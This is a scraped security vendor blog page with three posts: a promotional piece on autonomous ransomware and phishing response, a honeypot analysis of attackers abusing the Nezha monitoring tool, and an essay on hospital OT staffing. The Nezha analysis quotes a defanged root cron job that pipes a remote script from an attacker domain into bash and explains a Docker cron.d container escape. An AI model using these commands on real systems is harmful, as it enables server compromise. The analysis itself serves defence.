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June 19, 2019

How Autonomous Response AI is Winning Automated Extortion

Darktrace, creator of the first enterprise-grade autonomous response technology, leverages AI algorithms to stop malware in its tracks. Learn more here!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Fier
SVP, Red Team Operations
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19
Jun 2019

Just threat detection is not enough

At a time when automated cyber-attacks execute at machine speed, the reality is that merely detecting these attacks is no longer sufficient to stop them before the damage is done. According to the Ponemon Institute’s oft-cited study on the topic, US companies take an average of 206 days to identify a data breach. And even when security teams discover a potential compromise the moment it begins, human professionals are fundamentally overmatched by malicious code that can encrypt or exfiltrate data in under a minute.

In this era of fast-acting threats, the only way forward is to fight code with code, to pit algorithm against algorithm, and to counter machine-speed attacks with machine-speed defenses. Darktrace, creator of the first enterprise-grade autonomous response technology, leverages AI algorithms to stop malware in its tracks, allowing incident responders to investigate and take action at their own pace. And critically, Darktrace safeguards the digital estate day and night, weekend and holiday, because cyber-criminals don’t wait until business hours to strike.

Examined below are three sophisticated attacks that Darktrace neutralized on behalf of security teams that were either out of office or unable to react in time. Collectively, they demonstrate that the future of autonomous cyber defense has already arrived.

Automated extortion, absent security team

The quintessential example of a cyber-threat too rapid for human professionals to parry, ransomware has become a top-of-mind concern for organizations around the world. In fact, previous research has found that approximately 70% of companies simply hand over the ransom upon getting hit, regardless of the cost. However, Darktrace's Autonomous Response prevents ransomware from spreading by confining users and devices to their typical ‘patterns of life’. Rooted in a constantly refined understanding of ‘self’ versus ‘not self’, Darktrace AI surgically intervenes to shut off just the anomalous activity, while still allowing business operations to continue uninterrupted.

At 7:05 pm on a Friday, an employee at a large telecommunications firm accessed his personal email from a corporate smartphone and was tricked into downloading a malicious file that contained ransomware. Seconds later, the device began connecting to an external server on the Tor network — executing the attack just after the company’s security team had left the office for the weekend.

Darktrace AI, meanwhile, responded nine seconds after encryption began, raising a prioritized alert that called for immediate action. As the behavior persisted over the next few seconds, Darktrace activated AI-enabled autonomous response, which interrupted all attempts to write encrypted files before the ransomware spread across the telecom’s network. Critically, the autonomous response technology was on guard, even when the security team couldn’t be.

Darktrace anticipates the alphabet

Nearly 95% of all successful cyber-attacks begin with a phishing email, which dupe employees into breaching their organizations before the security team realizes that anything is wrong. Even more difficult to catch are personalized “spear phishing” emails that use reconnaissance gathered from either social media or physical surveillance to impersonate trusted colleagues. Thwarting an advanced spear phishing campaign requires understanding normal behavior for each user well enough to flag subtly suspicious emails, as well as the ability to autonomously disable their malicious links — a combination that only Darktrace AI has achieved.

On the network of a major US city, a sophisticated spear phishing campaign managed to bypass the city’s native email controls. The attackers, who had obtained the city’s address book, were emailing recipients alphabetically, from “A” to “Z,” with ostensibly harmless emails that contained a malicious payload. Despite the well-disguised nature of this attack, Darktrace immediately flagged the domain linked in the emails as abnormal for the city’s employees, an action only possible with the evolving understanding of ‘self’ that Darktrace AI learns.

Darktrace's Autonomouse Response was deployed in ‘Passive Mode’ at the time, a trust-building setting that restricts the AI to communicating what it would have done in response to the threat rather than actually interceding. Interestingly enough, however, this nuance served to demonstrate the technology’s ability to stop attacks that conventional tools miss. Whereas Darktrace detected the campaign at the letter “A,” the city’s array of legacy tools finally woke up to the threat at “R.” In ‘Active Mode’, Darktrace would have neutralized the attack before it reached a single user.

Serious threat at amusement park

Data exfiltration is among the most common objectives of cyber-criminals today, as stolen personal information and credentials can be sold on the Dark Web, used to commit identity theft, or leveraged to move laterally within a victim’s network. At a North American amusement park, an advanced attacker targeted an IoT device — a physical locker designed to store personal belongings — in an attempt to exfiltrate such data. As part of its default setting, the ‘smart’ locker regularly established contact with the supplier’s third-party online platform, a process that the attackers hijacked to compromise the device.

Once infiltrated, the locker started to transfer more than a gigabyte of unencrypted data across the network to a rare external site. The connections, which likely included identifying details and sensitive credentials, had the potential to be transmitted over the internet entirely unprotected — allowing the attackers to intercept the connections and use the information to breach the company’s network perimeter.

Due to the severity of the threat, Darktrace determined that an autonomous response was required. Within seconds, Darktrace AI took action by intelligently blocking all outgoing connections from the compromised locker. In doing so, it gave ample time for the security team to remove the smart locker from the internet — before any sensitive company or consumer data could be exfiltrated.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Fier
SVP, Red Team Operations

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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About the author
Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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